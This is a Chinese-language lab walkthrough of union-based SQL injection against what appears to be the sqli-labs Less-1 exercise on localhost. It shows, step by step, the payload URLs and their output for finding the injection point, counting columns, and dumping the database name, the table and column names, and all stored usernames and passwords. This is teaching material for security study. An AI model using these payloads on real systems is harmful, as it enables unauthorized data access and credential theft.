1.方法
url:http://localhost/index.php?id=1
查询数据库当前表中id等于1的
url:http://localhost/index.php?name=admin
查询当前数据库表中带有name等于admin
url:http://localhost/index.php?type=database
查询当前数据库表中带有database的类型的文章
select * from user where id=1?? 整数型
select id,name,type from user where type='database' 字符型
2.
url:http://localhost/Less-1/index.php?id=1
猜想：select * from user where id=1
返回：1' LIMIT 0,1
确定执行在' 注释 之间
url:http://localhost/Less-1/index.php?id=1'? -- 111
url:localhost/Less-1/index.php?id=1' order by 3 -- 111 判断字段长度
url:http://localhost/Less-1/index.php?id=1%27%20union%20select%201,2,3%20--%20111
select * from user where id='1' union select 1,2,3
输出位：
http://localhost/Less-1/index.php?id=-1%27%20union%20select%201,2,3%20--%20111
Your Login name:2
Your Password:3
查询当前库：
?? ?http://localhost/Less-1/index.php?id=-1%27%20union%20select%201,database(),3%20--%20111
?? ?返回：Your Login name:security
请求：http://localhost/Less-1/index.php?id=-1%27%20union%20select%201,group_concat(database(),0x3a,user()),3%20--%20111
?? ?返回： Your Login name:security:root@localhost
请求：http://localhost/Less-1/index.php?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--%20111
?? ?返回： Your Login name:emails,referers,uagents,users
请求：http://localhost/Less-1/index.php?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27--%20111
?? ?http://localhost/Less-1/index.php?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27 -%20111
?? ?返回： Your Login name:id,username,password
请求：http://localhost/Less-1/index.php?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users%20limit%200,1%20--%20111
?? ?返回：Your Login name:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
